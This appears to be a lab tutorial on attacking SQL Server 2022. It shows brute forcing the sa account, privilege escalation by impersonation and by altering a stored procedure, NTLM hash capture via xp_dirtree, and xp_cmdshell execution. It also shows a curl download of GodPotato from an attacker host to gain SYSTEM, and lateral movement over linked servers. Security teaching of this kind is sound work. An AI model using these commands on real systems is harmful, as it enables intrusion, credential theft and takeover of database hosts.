Microsoft SQL server is a popular Relational Database Management System (RDBMS). In this article we will be looking at some ways of attacking SQL Server 2022, including;
- Identifying MSSQL Listeners
- Brute Force Attacks
- Data Extraction
- SQL Roles
- Database Privilege Escalation: Impersonation
- Database Privilege Escalation: db_ddladmin Abuse
- Database Privilege Escalation: xp_dirtree
- Command Execution
- Linked Server Exploitation
Identifying MSSQL Listeners
By default, MSSQL will not listen for network traffic. Enable this using the Sql Server Configuration Manager;

You can then use NMap to identify the server on the network;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | ┌──(kali㉿kali)-[~] └─$ nmap -p 1433 -A 192.168.1.198 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-03 09:52 GMT Nmap scan report for 192.168.1.198 Host is up (0.00041s latency). PORT STATE SERVICE VERSION 1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+ |_ssl-date: 2024-02-03T09:52:42+00:00; 0s from scanner time. | ms-sql-ntlm-info: | 192.168.1.198:1433: | Target_Name: BORDERGATE | NetBIOS_Domain_Name: BORDERGATE | NetBIOS_Computer_Name: SERVER1 | DNS_Domain_Name: bordergate.local | DNS_Computer_Name: SERVER1.bordergate.local | DNS_Tree_Name: bordergate.local |_ Product_Version: 10.0.20348 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-02-01T13:54:05 |_Not valid after: 2054-02-01T13:54:05 | ms-sql-info: | 192.168.1.198:1433: | Version: | name: Microsoft SQL Server 2022 RC0+ | number: 16.00.1000.00 | Product: Microsoft SQL Server 2022 | Service pack level: RC0 | Post-SP patches applied: true |_ TCP port: 1433 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.32 seconds |
Brute Force Attacks
SQL Server supports two types of authentication, Windows Authentication, and SQL Server authentication. You can configure this using SQL Server Management Studio.

SQL Server authentication provides only one account by default, the SA (System Administrator) account, which is disabled. You can reactivate it and set a password using the following SQL query.
1 2 3 4 5 6 7 8 9 | GO ALTER LOGIN [sa] WITH DEFAULT_DATABASE=[master] GO USE [master] GO ALTER LOGIN [sa] WITH PASSWORD =N 'Password1' GO ALTER LOGIN [sa] ENABLE GO |
You can bruteforce SQL Server accounts with CrackMapExec by using the local-auth flag.
1 2 3 4 5 6 7 8 9 10 | crackmapexec mssql 192.168.1.198 -u sa -p /usr/share/wordlists/fasttrack.txt --local-auth MSSQL 192.168.1.198 1433 SERVER1 [*] Windows 10.0 Build 20348 (name:SERVER1) (domain:SERVER1) MSSQL 192.168.1.198 1433 SERVER1 [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'. MSSQL 192.168.1.198 1433 SERVER1 [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'. MSSQL 192.168.1.198 1433 SERVER1 [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'. MSSQL 192.168.1.198 1433 SERVER1 [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'. MSSQL 192.168.1.198 1433 SERVER1 [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'. MSSQL 192.168.1.198 1433 SERVER1 [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'. MSSQL 192.168.1.198 1433 SERVER1 [-] ERROR(SERVER1): Line 1: Login failed for user 'sa'. MSSQL 192.168.1.198 1433 SERVER1 [+] sa:Password1 (Pwn3d!) |
Data Extraction
Databases may contain useful information to perform further attacks, such as credentials. As such, it’s worth examining the contents of the database.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | SQL (link dbo@website_db)> SELECT name from master.dbo.sysdatabases; name ---------- master tempdb model msdb website_db SQL (link dbo@website_db)> use website_db [*] ENVCHANGE(DATABASE): Old Value: website_db, New Value: website_db [*] INFO(SERVER1): Line 1: Changed database context to 'website_db'. SQL (link dbo@website_db)> select * from website_db.INFORMATION_SCHEMA.TABLES TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE ------------- ------------ ---------- ---------- website_db dbo logins b'BASE TABLE' SQL (link dbo@website_db)> SELECT * FROM logins username password ---------- ---------- link Password1 zelda Password1 |
SQL Roles
The following roles apply server-wide and link to logins.
Role | Description |
---|---|
sysadmin | Can perform any action on the server |
serveradmin | Can change system wide configuration options and shut down the server |
securityadmin | Can manage logins and their properties |
processadmin | Can end running processes |
setupadmin | Can add and remove linked servers |
bulkadmin | Can execute the BULK INSERT statement |
diskadmin | Can manage disk files |
dbcreator | Can create, alter or drop any database |
public | Every SQL login is a member of this role |
By default, the SA account is a member of the sysadmin role. All other accounts will be members of the public role.
In addition to server roles, there are additional database specific roles. These allow granular access control to databases;
Role | Description |
---|---|
db_owner | Can perform all configuration and maintenance tasks on a database |
db_securityadmin | Can modify role membership for custom roles and manage permissions |
db_accessadmin | Can add or remember access to the database |
db_backupoperator | Can backup the database |
db_ddladmin | Can run Data Definition Language commands |
db_datawriter | Can add, delete or change data |
db_datareader | Can read all data from the user tables |
db_denydatawriter | Members cannot write any data to the database |
db_denydatareader | Members cannot read any data in the database |
Database Privilege Escalation: Impersonation
SQL server support impersonation, where one account can execute commands in the context of another. The following SQL statement allows Zelda to execute commands on behalf of the SA user;
1 2 3 | USE master; GRANT IMPERSONATE ON LOGIN::sa to [Zelda]; GO |
Using impacket-mssql, we can connect to the database as Zelda, then impersonate the SA account;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | impacket-mssqlclient zelda:'Password1'@192.168.1.198 Impacket v0.11.0 - Copyright 2023 Fortra [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(SERVER1): Line 1: Changed database context to 'master'. [*] INFO(SERVER1): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (160 3232) [!] Press help for extra shell commands SQL (zelda guest@master)> enum_impersonate execute as database permission_name state_desc grantee grantor ---------- -------- --------------- ---------- ------- ------- b'LOGIN' b'' IMPERSONATE GRANT zelda sa SQL (zelda guest@msdb)> EXECUTE AS LOGIN = 'sa' SQL (sa dbo@msdb)> |
Database Privilege Escalation: db_ddladmin Abuse
The sp_syspolicy_purge_history stored procedure can be altered by users with the db_ddladmin database role. If we have with role on the MSDB database, this can be used to escalate privileges.
First, create a login link:
1 2 3 4 | USE [master] GO CREATE LOGIN [link] WITH PASSWORD =N 'Password1' , DEFAULT_DATABASE=[master], CHECK_EXPIRATION= OFF , CHECK_POLICY= OFF GO |
Add login link to the db_ddladmin role:
1 2 3 4 5 6 7 8 | USE [msdb] GO CREATE USER [link] FOR LOGIN [link] GO USE [msdb] GO ALTER ROLE [db_ddladmin] ADD MEMBER [link] GO |
When an adversary logs into the server using this account, we can see we are not a member of the sysadmin role;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | impacket-mssqlclient link:'Password1'@192.168.1.198 Impacket v0.11.0 - Copyright 2023 Fortra [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(SERVER1): Line 1: Changed database context to 'master'. [*] INFO(SERVER1): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (160 3232) [!] Press help for extra shell commands SQL (link guest@master)> SELECT IS_SRVROLEMEMBER('sysadmin') - 0 |
You issue the following SQL statements to modify the stored procedure and add link as a member of the sysadmin group. Although this provides a warning, it will complete.
1 2 3 4 5 | SQL (link guest@master)> use [msdb] [*] ENVCHANGE(DATABASE): Old Value: master, New Value: msdb [*] INFO(SERVER1): Line 1: Changed database context to 'msdb'. SQL (link link@msdb)> ALTER PROCEDURE [dbo].[sp_syspolicy_purge_history] AS BEGIN ALTER SERVER ROLE [sysadmin] ADD MEMBER [link] END [*] INFO(SERVER1): Line 1: Warning: 'is_ms_shipped' property is turned off for procedure 'dbo.sp_syspolicy_purge_history' because you do not have permission to create or alter an object with this property. |
The stored procedure will execute once per day. After it executes, the login link becomes a sysadmin.
1 2 3 4 | SQL (link link@msdb)> SELECT IS_SRVROLEMEMBER( 'sysadmin' ) - 1 |
Database Privilege Escalation: xp_dirtree
xp_dirtree is a stored procedure that allows you to query the filesystem. By pointing it at a UNC path running responder.py, we can capture the Net-NTLM hash of the service account.
1 2 3 | SQL (link dbo@website_db)> xp_dirtree \\192.168.1.210\shared subdirectory depth file ------------ ----- ---- |
In this instance, the service is running as local system (which we won’t be able to crack) although an administrator may have set it to use another account.
1 2 3 4 5 6 | └─$ sudo responder -I eth0 [+] Listening for events... [SMB] NTLMv2-SSP Client : 192.168.1.198 [SMB] NTLMv2-SSP Username : BORDERGATE\SERVER1$ [SMB] NTLMv2-SSP Hash : SERVER1$::BORDERGATE:a63be65aa0105d91:2F5DE1052A71467C26E5691589FFC785:01010000000000000071F73A9D56DA01311FF4C4CF78AF640000000002000800350033003500380001001E00570049004E002D00570034004800550046004A004400360044004400390004003400570049004E002D00570034004800550046004A00440036004400440039002E0035003300350038002E004C004F00430041004C000300140035003300350038002E004C004F00430041004C000500140035003300350038002E004C004F00430041004C00070008000071F73A9D56DA0106000400020000000800300030000000000000000000000000300000C0BD377DC29C30B035FD38D2EBCA8A6CF697400C410E4F51D3E274DA535C58FE0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0031002E003200310030000000000000000000 |
Command Execution
To execute operating system commands on SQL server, we can use the xp_cmdshell stored procedure. We can enable this with impacket using the enable_xp_cmdshell command.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | SQL (sa dbo@msdb)> enable_xp_cmdshell [*] INFO(SERVER1): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. [*] INFO(SERVER1): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (sa dbo@msdb)> xp_cmdshell whoami output ---------------------- nt service\mssqlserver NULL SQL (sa dbo@msdb)> xp_cmdshell hostname output ------- SERVER1 NULL |
Host Privilege Escalation
The SQL service account by default has SeImpersonatePrivilege enabled.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | SQL (link dbo@msdb)> xp_cmdshell whoami /priv output -------------------------------------------------------------------------------- NULL PRIVILEGES INFORMATION ---------------------- NULL Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeManageVolumePrivilege Perform volume maintenance tasks Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled |
Because of this, we can use GodPotato to elevate our level of access to SYSTEM.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | SQL (link dbo@msdb)> xp_cmdshell curl 192.168.1.210/GodPotato-NET4.exe -o C:\Windows\Tasks\potato.exe SQL (link dbo@msdb)> xp_cmdshell C:\Windows\Tasks\potato.exe -cmd "cmd /c whoami" output -------------------------------------------------------------------------------- [*] CombaseModule: 0x140718087143424 [*] DispatchTable: 0x140718089734008 [*] UseProtseqFunction: 0x140718089026352 [*] UseProtseqFunctionParamCount: 6 [*] HookRPC [*] Start PipeServer [*] CreateNamedPipe \\.\pipe\ea512fd6-c3d9-4b67-b12f-85352c095612\pipe\epmapper [*] Trigger RPCSS [*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046 [*] DCOM obj IPID: 0000ec02-1c50-ffff-a235-202bba9f25c2 [*] DCOM obj OXID: 0x4fc9e0a0f47c3ae3 [*] DCOM obj OID: 0x2ad4796476995ecd [*] DCOM obj Flags: 0x281 [*] DCOM obj PublicRefs: 0x0 [*] Marshal Object bytes len: 100 [*] UnMarshal Object [*] Pipe Connected! [*] CurrentUser: NT AUTHORITY\NETWORK SERVICE [*] CurrentsImpersonationLevel: Impersonation [*] Start Search System Token [*] PID : 948 Token:0x748 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation [*] Find System Token : True [*] UnmarshalObject: 0x80070776 [*] CurrentUser: NT AUTHORITY\SYSTEM [*] process start with pid 6952 nt authority\system NULL |
Linked Server Exploitation
MSSQL supports a feature called Linked Servers. Essentially the MSSQL database is configured to connect to remote databases running on other systems. This allows you to execute a query against one host, but the data to be retrieved from multiple systems.
If linked servers are configured, and attacker may be able to exploit this feature to move laterally between different database systems.
To configure a linked server, in SQL Management Studio, select SERVER1 > Linked Servers > Right click and select new Linked Server.
On the general tab, set the data source to the target SQL server hostname.

In the security tab, set the user account used to login to the remote server.

Ensure RPC and RPC out is enabled in the server options.

impacket-mssql can be used to determine server links in place, and execute commands on the remote SQL server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | SQL (link dbo@master)> enum_links SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT -------- ---------------- ----------- -------------- ------------------ ------------ ------- SERVER1 SQLNCLI SQL Server SERVER1 NULL NULL NULL SERVER2 SQLNCLI SERVER2 NULL NULL NULL Linked Server Local Login Is Self Mapping Remote Login ------------- ----------- --------------- ------------ SERVER1 NULL 1 NULL SERVER2 NULL 0 sa SQL (link dbo@master)> use_link SERVER2 SQL >SERVER2 (sa dbo@master)> xp_cmdshell hostname output ------- SERVER2 NULL |
This can also be done manually using the following SQL commands:
1 2 | EXEC ( 'exec master.dbo.sp_configure ' 'show advanced options' ',1;RECONFIGURE;exec master.dbo.sp_configure ' 'xp_cmdshell' ', 1;RECONFIGURE;' ) AT SERVER2 EXEC ( 'exec master..xp_cmdshell ' 'hostname' '' ) AT SERVER2 |
In Conclusion
This article covers the basics of assessing the security of an MSSQL server using impacket-mssql. There are a number of other useful tools which can also be used to perform MSSQL security audits, including;
- https://github.com/NetSPI/PowerUpSQL
- https://github.com/quentinhardy/msdat